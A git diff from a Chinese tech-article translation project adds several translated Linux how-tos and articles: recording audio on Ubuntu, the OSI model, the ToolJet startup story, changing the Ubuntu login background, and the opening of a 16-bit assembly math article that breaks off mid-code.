https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/rust_programming_crab_sea.png +[2]: https://opensource.com/article/22/6/rust-toolchain-rustup +[3]: https://github.com/rust-lang/rustlings +[4]: https://opensource.com/article/22/6/rust-toolchain-rustup +[5]: https://opensource.com/article/19/2/getting-started-cat-command +[6]: https://opensource.com/article/18/4/using-less-view-text-files-command-line +[7]: https://github.com/rust-lang/rustlings/releases/tag/5.0.0 +[8]: https://opensource.com/downloads/rust-cheat-sheet diff --git a/published/202212/20220810 How to Record Streaming Audio in Ubuntu and other Linux Distributions.md b/published/202212/20220810 How to Record Streaming Audio in Ubuntu and other Linux Distributions.md new file mode 100644 index 0000000000..4cd33a4e74 --- /dev/null +++ b/published/202212/20220810 How to Record Streaming Audio in Ubuntu and other Linux Distributions.md @@ -0,0 +1,185 @@ +[#]: subject: "How to Record Streaming Audio in Ubuntu and other Linux Distributions" +[#]: via: "https://itsfoss.com/record-streaming-audio/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "FYJNEVERFOLLOWS" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15381-1.html" + +如何在 Ubuntu 中录制流媒体音频 +====== + +![][0] + +> 如何在 Ubuntu 和其他 Linux 发行版中录制音频? + +如果你想通过计算机的麦克风录制语音,可以使用 GNOME 录音机Sound Recorder 或 Audacity。 + +使用 GNOME 录音机很简单,但它功能不足。Audacity 最初可能会让人无从入手,但它有很多专业级录音的功能。不过,在本教程中,我不打算详细讨论这个问题。 + +GNOME 录音机能与麦克风配合使用。还有一个叫做 Audio recorder 的工具,除了麦克风输入,你可以使用它来录制流媒体音乐(来自 Sptify、YouTube、互联网广播、Skype 和其他大多数来源)。 + +总而言之,我将向你展示以下步骤: + +* 使用 GNOME 录音机录制声音 +* 使用 Audio Recorder 录制流音频 + +### 使用 GNOME 录音机从麦克风录制音频 + +GNOME 桌面环境有很多有用的应用程序,录音机就是其中之一。 + +你可以从 Ubuntu 软件中心安装 [录音机][1]。 + +![Sound Recorder can be installed from the Ubuntu Software Center][2] + +或者,你可以在终端中使用此命令来安装它: + +``` +sudo apt install gnome-sound-recorder +``` + +安装后,你可以在系统菜单中找到它,并从那里启动它。 + +![GNOME Sound Recorder][3] + +在开始使用它之前,应确保在系统设置中选择了正确的输入源: + +![Ensure that you have chosen correct input in system settings][4] + +打开录音机,它将显示如下界面: + +![Hit the Record button to start audio recording][5] + +点击“录制Record”按钮,它立即开始录制音频。录制时,你可以选择暂停、停止或取消录制。 + +![Options while recording audio][6] + +你的录音将保存并可从应用程序界面本身获得。单击保存的录音以突出显示。 + +你可以回放或删除该录音。你可以通过单击“保存/下载”按钮选择将其保存到其他位置。你也可以使用“编辑”按钮重命名该录音。 + +![Saved recordings][7] + +这很方便,对吧?你可以选择以 `MP3`、`FLAC` 和多种格式录制。 + +#### 删除 GNOME 录音机 + +不喜欢它或发现它缺乏功能? + +你可以从 Ubuntu 软件中心删除 GNOME 录音机,或使用以下命令: + +``` +sudo apt remove gnome-sound-recorder +``` + +GNOME 录音机应用功能有限,它只从麦克风录制,在某些情况下这不是你想要的。 + +想象一下你想录制 Skype 通话或在应用程序或网络浏览器中播放的内容?在这种情况下,漂亮的 Audio Recorder 会有所帮助。 + +### 使用 Audio Recorder 来录制流媒体音频 + +你可以使用 [官方 PPA][10] 在 Ubuntu 和 LinuxMint 中安装 `Audio Recorder`。在终端中依次使用以下命令: + +``` +sudo apt-add-repository ppa:audio-recorder/ppa +sudo apt update +sudo apt install audio-recorder +``` + +或者,你可以从 [启动台][11] 下载源代码。安装后,你可以从“活动概述Activity Overview”里启动应用程序: + +![Audio Recorder][12] + +#### 记录不同来源的各种声音 + +Audio Recorder 记录计算机产生的各种声音。 + +它记录通过系统声卡、麦克风、浏览器、网络摄像头等播放的音频。 + +换句话说,即使你的系统打喷嚏,它也会记录(如果你想记录的话)。它允许你选择录制设备,如网络摄像头、麦克风、Skype 等。 + +要录制流媒体音乐,请选择适当的源。例如,如果你正在 Rhythmbox 中播放流媒体广播,请选择 Rythmbox。 + +![Audio-Recorder Audio Settings][13] + +#### 在你方便的时候录制 + +Audio Recorder 还提供了设置计时器的选项。你可以在给定的时钟时间或预定义的间隔开始、停止或暂停录制。你还可以设置录制文件大小的限制。 + +此外,你可以在没有音频(或声音很低)时暂停(和停止),并在声音恢复时继续。 + +你所要做的就是编辑计时器面板中的文本。注释掉你不想应用的“规则”,并根据你的要求编辑这些规则。 + +![Audio-recorder Timer Settings][14] + +它提供了其他设置,如登录时自动启动、显示托盘图标和其他记录设置。 + +![Audio-recorder Additional Settings][15] + +#### 以各种文件格式保存录制的音乐文件 + +另一个宝藏。你可以将录制的文件保存为你喜爱的文件格式。支持的文件格式有 OGG 音频、Flac、MP3、SPX 和 WAV。我录音时更喜欢用 MP3 格式。 + +录制的文件存储在 `~/Audio` 中,即主目录中的“音频”文件夹中。 + +![Audio-recorder Audio Formats][16] + +#### Audio Recorder 有多好? + +我在 Ubuntu 中使用 Audio Recorder [录制 YouTube 上播放的音乐][17]。我用 MP3 格式保存了一段 2 分钟的视频,占用了 934 KB 的空间。但我必须说,我没想到录制的音质会这么好。老实说,我无法将它与 YouTube 上的原始歌曲区分开来。 + +#### 删除 Audio Recorder + +如果你不喜欢 Audio Recorder,可以使用以下命令将其删除: + +``` +sudo apt remove audio-recorder +``` + +[同时删除 PPA][18] 是个好主意: + +``` +sudo apt-add-repository -r ppa:audio-recorder/ppa +``` + +### 结论 + +Linux 中可能还有其他几种用于音频录制的工具。像 GNOME 一样,其他桌面环境也可能有录音应用程序。我知道深度操作系统肯定有一个。 + +GNOME 录音机是一个不错的工具,用于从麦克风录制声音。对于录制各种来源的声音,Audio Recorder 是一个不错的选择。 + +我希望这篇文章能满足你的录音需求。如果你有什么建议,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/record-streaming-audio/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://wiki.gnome.org/Apps/SoundRecorder +[2]: https://itsfoss.com/wp-content/uploads/2022/08/sound-recorder-ubuntu.png +[3]: https://itsfoss.com/wp-content/uploads/2022/08/sound-recorder.png +[4]: https://itsfoss.com/wp-content/uploads/2022/08/microphone-settings-ubuntu.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/using-sound-recorder-linux.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/sound-recording-with-sound-recorder.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/sound-recorder-interface.png +[8]: https://youtu.be/o7Ia2QGeB7Q +[9]: https://www.youtube.com/c/itsfoss?sub_confirmation=1 +[10]: https://launchpad.net/~audio-recorder/+archive/ubuntu/ppa +[11]: https://launchpad.net/audio-recorder +[12]: https://itsfoss.com/wp-content/uploads/2022/08/audio-recorder-in-overview.png +[13]: https://itsfoss.com/wp-content/uploads/2022/08/audio-recorder-audio-settings.png +[14]: https://itsfoss.com/wp-content/uploads/2022/08/audio-recorder-timer-settings.png +[15]: https://itsfoss.com/wp-content/uploads/2022/08/audio-recorder-additional-settings.png +[16]: https://itsfoss.com/wp-content/uploads/2022/08/audio-recorder-audio-formats.png +[17]: https://itsfoss.com/youtube-dl-audio-only/ +[18]: https://itsfoss.com/how-to-remove-or-delete-ppas-quick-tip/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/25/154829ol11lp47i8o6222c.jpg \ No newline at end of file diff --git a/published/202212/20221004 Learn the OSI model in 5 minutes.md b/published/202212/20221004 Learn the OSI model in 5 minutes.md new file mode 100644 index 0000000000..dc05565ee5 --- /dev/null +++ b/published/202212/20221004 Learn the OSI model in 5 minutes.md @@ -0,0 +1,104 @@ +[#]: subject: "Learn the OSI model in 5 minutes" +[#]: via: "https://opensource.com/article/22/10/osi-model-network-communications" +[#]: author: "Anamika https://opensource.com/users/anamika" +[#]: collector: "lkxed" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15352-1.html" + +5 分钟内了解 OSI 模型 +====== + +![][0] + +> 理解 OSI 框架的基本概念,掌握计算机系统通信机制。 + +开放系统互联Open Systems Interconnection(OSI)模型是一个定义计算机、服务器和用户如何在一个系统内通信的标准。它是第一个网络通信标准模型,在上世纪 80 年代早期,所有主流的计算机和通信公司都采用了这个标准。 + +OSI 模型提供了一种用于描述网络的通用语言,并以离散的块或层的方式来描述。 + +### OSI 模型的各个层 + +该模型描述了计算机系统通过网络进行通信的七个层。 + +- 7 应用层 +- 6 表示层 +- 5 会话层 +- 4 传输层 +- 3 网络层 +- 2 数据链路层 +- 1 物理层 + +每个层都有自己的工作方式和一系列跟其他层不同的协议。本文将逐个剖析这些层级。 + +### 应用层 + +应用层是在软件中实现的。它是与应用程序交互的层级。 + +用发送消息作为例子。发送消息的程序与应用层进行交互,并发送消息。接着,应用层向 OSI 模型的下一个层级(即表示层)发送消息。 + +### 表示层 + +来自应用层的数据被转发到表示层。表示层接收到文字、字符、字母、数字等形式的数据,并把它们转换为机器可识读的二进制格式数据。这个过程叫做编译。 + +在此阶段,ASCII(美国信息交换标准码)字符被转换为扩充的二进制编码的十进制交换码(EBCDIC)。转换后的数据在继续传输前,也会进行编码和加密过程,使用 SSL 协议进行加密和解密。 + +表示层的作用是抽象化,它假设下面的层级会处理它们收到的数据。它也负责压缩数据。数据的压缩可能是有损的,也有可能是无损的,这取决于很多因素,这不属于本文的讨论范围。 + +### 会话层 + +会话层的作用是建立和管理连接。该层级的主要工作是建立会话。例如,你登录网上商城,就在你的机器和服务器之间建立了会话。 + +会话层的作用是实现数据的发送和接收,完成后连接的会话就终止了。在一个会话建立前,会进行身份验证。与上一层类似,会话层也假设在它的工作完成后,下面的层级也会准确无误地处理数据。 + +### 传输层 + +传输层的作用是管理数据传输和其自身的关于数据如何传输的一些协议。从会话层传到这里的数据被分为更小的数据单元,这些数据单元称为片段。这个过程叫做“分段”。每个片段包含来源端口号、目标端口号和一个序列号。端口号用来识别发送数据的应用程序。注意,数据以块的形式传输。序列号用于把这些片段按正确的顺序排列。 + +传输层负责控制流量或在给定的时间内传输的数据量。它也负责错误控制,比如数据丢失、损坏等情况。它利用一种错误检测值,通常叫做校验和。传输层对每个数据片段加上校验和,就可以检查所发送的数据是否被正确接收。然后数据传输到网络层。 + +### 网络层 + +网络层的作用是跟其他网络进行通信。它把从一台机器接收到的数据片段传输给另一台位于不同网络的机器。路由器是作用于网络层的。 + +网络层的功能是逻辑寻址(就是确定 IP 地址)。它为发送方和接收方分配 IP 地址,数据包附带了这个地址,就可以被传输到正确的目标机器。接着网络层对数据包进行路由。负载均衡也是在网络层进行的,旨在确保不会发生过载。下一步,数据传输到数据链路层。 + +### 数据链路层 + +数据链路层支持跟其他设备直接通信。 + +它接收到来自网络层、包含发送方和接收方 IP 地址的数据包,进行物理寻址,然后将发送方和接收方的 MAC 地址分配给数据包,形成帧。 + +### 物理层 + +物理层由系统的所有硬件和物理设备(包括网线、导航系统、适配器等)组成。在这里,从前面层级接收到的数据都是 0 和 1 形式的。物理层把这些数据转换并通过各种方式(如果是光纤电缆,有电线、电信号、光信号;如果是 WIFI,则为无线电信号)传输至本地媒介。 + +注意,物理层作用于接收方的一端,把接收到的信号以帧的形式传输到数据链路层(把它转换回二进制数据形式)。然后帧传输到上面的层级,最终应用层(应用软件)会接收到需要的数据。 + +### 结语 + +当你需要描述网络架构或排除网络问题时,OSI 模型的相关知识会对你有所帮助。我希望本文能令你对这个模型的方方面面有清晰的理解。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/osi-model-network-communications + +作者:[Anamika][a] +选题:[lkxed][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/anamika +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/code_computer_development_programming.png +[2]: https://opensource.com/article/22/10/osi-model-network-communications#application-layer +[3]: https://opensource.com/article/22/10/osi-model-network-communications#presentation-layer +[4]: https://opensource.com/article/22/10/osi-model-network-communications#session-layer +[5]: https://opensource.com/article/22/10/osi-model-network-communications#transport-layer +[6]: https://opensource.com/article/22/10/osi-model-network-communications#network-layer +[7]: https://opensource.com/article/22/10/osi-model-network-communications#data-link-layer +[8]: https://opensource.com/article/22/10/osi-model-network-communications#physical-layer +[0]: https://img.linux.net.cn/data/attachment/album/202212/16/092612etn6gwaecb91bweg.jpg \ No newline at end of file diff --git a/published/202212/20221019.5 ⭐️⭐️ Our open source startup journey.md b/published/202212/20221019.5 ⭐️⭐️ Our open source startup journey.md new file mode 100644 index 0000000000..b8180b32c2 --- /dev/null +++ b/published/202212/20221019.5 ⭐️⭐️ Our open source startup journey.md @@ -0,0 +1,112 @@ +[#]: subject: "Our open source startup journey" +[#]: via: "https://opensource.com/article/22/10/tooljet-open-source-journey" +[#]: author: "Navaneeth PK https://opensource.com/users/navaneeth" +[#]: collector: "lkxed" +[#]: translator: "CanYellow" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15359-1.html" + +我们的开源创业之旅 +====== + +![][0] + +> 以下是开源项目 ToolJet 是如何在一年的时间里取得 13000 颗星标和 200 个贡献者的故事。 + +[ToolJet][1] 是一款开源的低代码框架,用于快速构建和部署内部工具。它的代码库完全由 JavaScript 和 TypeScript 组成。 + +2021 年 4 月,一名开发者独自开始了 ToolJet 的开发,并于 2021 年 6 月推出公测版本,一炮而红。此后,ToolJet 成立了基金会。目前,我们已经有一个 20 人的开发团队。 + +### 为什么选择开源 + +在开发 ToolJet 之前,我曾担任一些企业客户的顾问。这些客户中的许多都庞大到足以维护构建几十个内部工具。尽管来自销售人员、支持人员以及运营人员不断要求对内部工具添加更多功能和修复错误,但开发团队却很难有精力来开发内部工具。 + +我尝试使用过多个平台来构建和维护内部工具。这些工具大多非常昂贵,而且经常不符合要求。我们需要进行修改,而且大多数工具不支持内部托管。 + +作为一名 Ruby 开发者,我最初使用 ActiveAdmin 和 RailsAdmin 来构建内部工具。这两款工具都是极好的,只是将它们应用在使用多个数据源的任务上比较困难。于是我意识到市场上需要一种可以构建用户界面,并能够连接多个数据源的框架。我相信任何为开发者制作的工具都应当是开源的。开发者日常使用的大部分工具与框架都源自世界各地人们的公开协作。 + +### 第一次提交 + +制作像 ToolJet 这样的工具需要全身心的投入,通过出售我的一个业余项目,我获得了五六个月的空闲,于是我立即着手将在我脑海里酝酿了两年的想法付诸现实。 + +2021 年 4 月 1 日,我完成了 ToolJet 的第一次提交(使用 `rails new` 命令)。 + +稍等!我刚刚说 ToolJet 的代码是完全基于 JavaScript 的?请接着往下看。 + +### 构建完成并推销给投资者 + +4、5 月间,我一直坐在电脑屏幕前编写代码和向种子轮的投资者推销我的工具。 + +我的工作还包括创建拖放式应用程序构建器,撰写所有的文档以保证有在主流平台上设置 ToolJet 的文档,创建项目网站,制作发布时所需的海报以及博客文章等等。这一过程进展顺利,没有遇到大的挑战。当时,ToolJet 的前端使用的是 React ,而后端则用的是 Ruby on Rails 。 + +编程工作进行得很顺利,然而向投资者推广的工作进行得并不顺利。我向专注于初创时期投资的风投和天使投资人发送了大约 40 封电子邮件,都石沉大海。大部分邮件都被忽略了,不过也有一些公司向我说明了拒绝的原因,另外一些则给我回了电话。 + +大部分的电话内容都是一样的:我无法说服他们接受开源商业模式。 + +### 工具发布 + +6 月 7 日是发布日。我们首先在 ProductHunt(LCTT 译注:[ProductHunt][11] 是一个新品发布平台)上发布。六个小时后,只有 70 名用户注册。但是我们有成为当天第一名产品的趋势(最终在那一周的产品中排名第三)。这里是原始的 [发布帖][2]。 + +下午 6 点左右,我又在 [HackerNews][3] 上发帖,一个小时内,这个帖子便升至榜首。大量的访问者注册并给我的版本库点亮星标,我对此很高兴。许多访问者和用户报告了软件和文档中的错误。距离在 HackNews 上发帖八个小时之后,超过 1000 名 GitHub 用户给 ToolJet 的 GitHub 版本库点亮了星标,并且有数百人注册了 ToolJet 云。上升趋势一直持续到三天后,ToolJet 版本库总计得到了 2400 个星标。 + +![ToolJet repo stats on GitHub][4] + +### 获得资助 + +ToolJet 项目在 GitHub 上的吸引力足以被风投(VC)世界注意到。发布之后的日子被各种来电挤满了。我们也有其他的选择,但从没有认真考虑过这些它们。这些选择包括: + +- 引导性融资:在项目初期,难以获得付费用户,而我此前也没有足够的储蓄来支撑整个项目。 +- 作为业余项目:在开发小型项目上这是可以的,但我不认为这在 ToolJet 的开发上行得通,毕竟在 ToolJet 平台能够为客户所用之前,我们需要创建大量的集成和 UI 控件。作为一个业余项目,要实现这些可能需要花费数月甚至数年时间。 + +我知道如果将 ToolJet 作为一个业余项目来开发,我可能需要花几个月的时间才能达到我期望的程度。而我希望通过扩大团队加速项目的成熟。鉴于该项目的吸引力,引入风险投资(VC)的资助是显而易见的选择。 + +好消息是在 HackNews 上发布之后的两周内我们成功募集了 [155 万美元的资金][5]。 + +### 在开源中积累很重要 + +发布后不久,我们发现许多人希望为 ToolJet 项目做贡献,但是他们几乎都是 JavaScript 开发者。我们也意识到像 ToolJet 这样的项目在未来会有成百上千的数据接口,只有基于插件的架构才行得通。我们于 2021 年 8 月决定从 Ruby 迁移到 TypeScript 上来。即使这花费了一个月的时间和巨大的努力,这仍然是我们在 ToolJet 项目上作出的最正确的决定。今天,我们有一个由我们的 [插件开发套件][6] 支持的可扩展的基于插件的架构。我们获得了来自超过 200 名开发者的贡献。关于这次迁移的文章参见 [这篇博客][7] 和 [另一篇博客][8]。 + +### 发布 v1.0 版本 + +自 8 月份以后,很多用户已经在生产环境中使用 ToolJet ,该平台并没有出现过任何稳定性或扩展性的问题。我们准备在发布 v1.0 版本之前完成开发人员平台的功能。开发人员平台允许任何 JavaScript 开发者构建和发布 ToolJet 插件。这样开发人员就可以为 ToolJet 开发数据接口。把集成测试的时间算上,创建一个 ToolJet 接口的时间也只需要30分钟。 + +### 创建持续成长的社区 + +![ToolJet star history][9] + +我们没有在销售上投入资金,我们的大部分精力都放在了传播 ToolJet 的消息、撰写我们的经验教训以及维持开发社区的活跃上。我们有一个关注社区里问题的三人团队。 + +### 商业模式 + +如果没有 [商业产品][10] 来支付账单,ToolJet 就无法成为一项可持续的业务。我们构建了 ToolJet 的客户付费的企业版本。ToolJet 的免费的社区版本没有任何使用限制,企业版中的额外功能都只与大型团队有关。我们现在的客户已经有超大型公司。我们有足够的银行存款来打造更好的 ToolJet ,因此我们目前正聚焦于产品提升上。 + +### 接下来做什么 + +我们在开源社区的不断反馈和贡献的帮助下,我们可以经常性发布更好的 ToolJet 版本。很多主要的优化、大量的数据接口以及 UI 组件正在开发进程中。我们正以前所未有的速度朝着我们的最初目标前进,即成为一个可以连接到数百个数据源和构建最复杂的用户界面的开源框架。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/tooljet-open-source-journey + +作者:[Navaneeth PK][a] +选题:[lkxed][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/navaneeth +[b]: https://github.com/lkxed +[1]: https://github.com/ToolJet/ToolJet +[2]: https://www.producthunt.com/products/tooljet-0-5-3 +[3]: https://news.ycombinator.com/item?id=27421408 +[4]: https://opensource.com/sites/default/files/2022-10/tooljet-repo-stats.png +[5]: https://blog.tooljet.com/raising-vc-funding-for-open-source-project +[6]: https://www.npmjs.com/package/@tooljet/cli +[7]: https://blog.tooljet.com/migrating-toojet-from-ruby-on-rails-to-nodejs +[8]: https://blog.tooljet.com/how-we-migrated-tooljet-server-from-ruby-to-node-js +[9]: https://opensource.com/sites/default/files/2022-10/tooljet-star-history.png +[10]: https://opensource.com/article/19/11/product-vs-project +[11]: https://www.producthunt.com/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/17/221548rbp2t6z8ah3h031s.jpg \ No newline at end of file diff --git a/published/202212/20221025.3 ⭐️ How to Change Login Screen Background in Ubuntu.md b/published/202212/20221025.3 ⭐️ How to Change Login Screen Background in Ubuntu.md new file mode 100644 index 0000000000..1c1701997a --- /dev/null +++ b/published/202212/20221025.3 ⭐️ How to Change Login Screen Background in Ubuntu.md @@ -0,0 +1,103 @@ +[#]: subject: "How to Change Login Screen Background in Ubuntu" +[#]: via: "https://www.debugpoint.com/change-login-background-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15329-1.html" + +如何更改 Ubuntu 的登录屏幕背景 +====== + +![][0] + +> 这篇指南可以让你如何摆脱 Ubuntu 的无趣的登录背景屏幕,并在你每次登录时设置一张漂亮的图片来欢迎你。 + +我总是认为,在你启动你的系统后,应该有一个漂亮的登录屏幕来欢迎你。这本身就为你即将开始的工作或活动渲染了愉快的氛围。尽管,我不是一名 Windows 的粉丝,但是我很欣赏 Windows 10 的登录背景都会每天随着 Bing 壁纸进行更改,它看起来好极了,对吧? + +前段时间,我们讨论了如何 [更改 Fedora 的登录屏幕背景][1] 和 [更改 elementary OS 的登录屏幕背景][2] 。现在这篇指南将向你解释,如何更改使用 GNOME Shell 的 Ubuntu 的登录屏幕背景。 + +登录屏幕背景是显示管理器(DM)属性的一部分。这篇指南将使用一位用户在 GitHub 中创建的一个脚本,使得普通用户也能简单易用。否则,你需要在提取 `.gresource` 文件后,必须手动更改 Gnome 显示管理器Gnome Display Manager(GDM)的 CSS 文件,接下来再编译它。一般来说,这是很复杂的。 + +![Ubuntu 登录屏幕 – 在更改前][3] + +### 更改 Ubuntu 的登录背景 + +打开一个终端(按下组合键 `CTRL+ALT+T`)。 + +使用下面的命令,下载这个 [GitHub 仓库][4] : + +``` +wget github.com/thiggy01/change-gdm-background/raw/master/change-gdm-background +``` + +**注意**: 如果你没有 `wget` ,使用 `sudo apt install wget` 来安装它。 + +> **Ubuntu 22.04 Jammy Jellyfish** 用户需要更改一些额外的代码来使其工作,因为,在 GitHub 仓库中,开发者没有修复它。因此,在这里你需要自己来更改。 +> +> 使用 gedit 来打开 `change-gdm-background` 文件。接下来,转到下面的行(`#15`) 并添加 `|jammy` 。 +> +> ![脚本更改为允许 jammy][5] +> +> 接下来,转到下面的两行(`#144` 和 `#184`)。将 `gdm3.css` 更改为 `gdm.css` 。如下图所示。 +> +> ![修正针对 gdm 的 css 文件][6] +> +> 最后,保存文件,并遵循如下的操作指南。这种解决方法只适用于 Ubuntu 22.04 的登录屏幕的更改。 + +更改脚本的权限来使其可执行: + +``` +chmod +x change-gdm-background +``` + +接下来,更改 Ubuntu 的登录背景壁纸,使用下面的命令。按照你的图片相应地更改路径: + +``` +sudo ./change-gdm-background ~/Pictures/tree.jpg +``` + +这一步骤可能需要 `libglib2.0-dev` 软件包,它将会自动地安装。提取和编译 `.gresource` 会用到它。 + +在安装后,它应该会提示你重新启动 GDM 。慎重起见,按下 `N` 按键。 + +注销后,你可以看到更改后的 Ubuntu 的背景。 + +如果你没有看到更改,尝试重新启动你的系统,然后尝试登录。 + +![在更改后的,Ubuntu 的登录屏幕背景][7] + +### 恢复先前的登录屏幕 + +该脚本也提供了一种恢复先前的登录屏幕的特色功能。它在更改你的 `.gresource` 文件前,会将其进行备份。因此,恢复先前的登录屏幕,只需要在终端中简单地运行下面的命令。 + +``` +sudo ./change-gdm-background --restore +``` + +这应该会将其登录屏幕更改回其先前的形式。 + +请在下面的评论框中,让我知道这篇指南的内容是否对你有效果,这应该适用于所有的最新版本的 Ubuntu Linux 。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/change-login-background-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/2021/09/change-login-background-fedora/ +[2]: https://www.debugpoint.com/2021/07/change-lock-login-screen-background-elementary-os/ +[3]: https://www.debugpoint.com/wp-content/uploads/2021/09/Ubuntu-Login-screen-before-change-1024x539.jpg +[4]: https://github.com/thiggy01/change-gdm-background +[5]: https://www.debugpoint.com/wp-content/uploads/2022/09/script-change-to-allow-jammy.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/09/correct-the-css-file-for-gdm.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2021/09/Ubuntu-Login-screen-After-Change-1024x538.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202212/08/121701hdfufrlqe4qtdtel.jpg \ No newline at end of file diff --git a/published/202212/20221026.0 ⭐️⭐️⭐️ Doing 64-bit math on a 16-bit system.md b/published/202212/20221026.0 ⭐️⭐️⭐️ Doing 64-bit math on a 16-bit system.md new file mode 100644 index 0000000000..4630edf724 --- /dev/null +++ b/published/202212/20221026.0 ⭐️⭐️⭐️ Doing 64-bit math on a 16-bit system.md @@ -0,0 +1,158 @@ +[#]: subject: "Doing 64-bit math on a 16-bit system" +[#]: via: "https://opensource.com/article/22/10/64-bit-math" +[#]: author: "Jerome Shidel https://opensource.com/users/shidel" +[#]: collector: "lkxed" +[#]: translator: "yzuowei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15332-1.html" + +如何在 16 位系统上进行 64 位数学运算 +====== + +![][0] + +> 只要对汇编有一点基本的了解,这些函数就能扩展到任意位长的整型数学运算。 + +几年前,我为 FreeDOS 写了一个叫做 VMATH 的命令行数学程序。它只能在很小的无符号整型上执行十分简单的数学运算。随着近来 FreeDOS 社区里对基础数学的兴趣,我改进了 VMATH 使其可以为有符号 64 位整型提供基本的数学支持。 + +仅使用 16 位 8086 兼容的汇编指令来操控大型数字的过程并不简单。我希望能够分享一些在 VMATH 中用到的技术例子。其中一些方法掌握起来相当容易。而另外一些方法则看起来有点奇怪。你甚至可能学到一种进行基本数学运算的全新方式。 + +接下来要讲的加、减、乘、除会用到的技术将不局限于并不局限于 64 位整型。只要对汇编有一点基本的了解,这些函数就能扩展到任意位长的整型数学运算。 + +在深入研究这些数学函数前,我想先从计算机的角度介绍一下数字的一些基本知识。 + +### 计算机是如何读取数字的 + +一个英特尔兼容的 CPU 以字节Byte的形式贮存数字,储存顺序为从最低有效字节到最高有效字节。每个字节由 8 个二进Bit组成,两个字节组成一个Word。 + +一个储存在内存里的 64 位整型占用了 8 个字节(即 4 个字)。例如,数字 `74565`(十六进制表示为 `0x12345`)的值长得是这个样子的: + +``` +用字节表示:db 0x45, 0x23, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 +用字表示:dw 0x2345, 0x0001, 0x0000, 0x0000 +``` + +当读取或写入数据到内存时,CPU 会以正确的顺序处理这些字节。对于比 8086 更现代的处理器而言,数据分组可以再大些,比如一个四字组Quadword就可以表达整个 64 位整型 `0x0000000000012345`。 + +8086 CPU 不能理解这么大的数字。当为 FreeDOS 编程时,你想要写的是一个能在任意电脑上跑的程序,甚至是原始的 IBM PC 5150。你想要使用能够扩展到任意大小整型的技术。我们其实并不关心更现代 CPU 的能力。 + +为了能做整型运算,我们的数据需要表达两种不同类型的数字。 + +第一种是无符号unsigned整型,其使用了所有的位来表达一个正数。无符号整型的值域为从 `0` 到 $2^{位长} - 1$。例如,8 位数可以是 `0` 到 `255` 之间的任意值,而 16 位数则在 `0` 到 +`65535` 之间,以此类推。 + +有符号整型也很类似。不同之处在于数字的最高位代表了这个数是一个正数(`0`)还是一个负数 (`1`)。有符号整型的值域前半部分为正数,正数值域是从 `0` 到 $2^{(位长 - 1)} - 1$。整型值域的后半部分为负数,负数值域则从 $0 - (2^{位长 - 1})$ 到 `-1`。 + +比如说,一个 8 位数代表着 `0` 到 `127` 之间的任意正数,以及 `-128` 到 `-1` 之间的任意负数。为了能更好的理解这一点,想象 **字节** 为一列数组 `[0...127,-128...-1]`。因为 `-128` 在数组内紧跟着 `127`,`127` 加 `1` 等于 `-128`。当然这可能看起来有点奇怪甚至反常,但这其实让这个层级的基本数学运算变简单了。 + +为了能够对大型整型进行简单的加、减、乘、除,你应该摸索一些简单的公式来计算一个数的绝对值或负值。你在做有符号整型运算的时候会用上它们的。 + +### 绝对值与负值 + +计算一个有符号整型的绝对值并没有它看起来的那么糟糕。由于无符号和有符号数字在内存里的储存形式,我们其实有一个简单的方案。你只需要翻转一个负数的所有字位,得出的结果再加 `1`。 + +如果你从没接触过二进制的话,这可能听上去有点奇怪,但这就是这么工作的。让我们来举一个例子,取一个负数的 8 位表达,比如说 `-5`。因为 `-5` 靠近 `[0...127,-128...-1]` 字节组末端,它的十六进制值为 `0xfb`,二进制值为 `11111011`。如果你翻转了所有字位,你会得到 `0x04` 或二进制值 `00000100`。结果加 `1` 你就得到了你的答案:你刚刚把 `-5` 的值变成了 `+5`。 + +你可以用汇编写下这个程序用以返回任意 64 位数字的绝对值: + +``` +; 语法,NASM for DOS +proc_ABS: +  ; 启动时,SI 寄存器会指向数据段(DS)内的内存位置,那里存放着程序内包含着 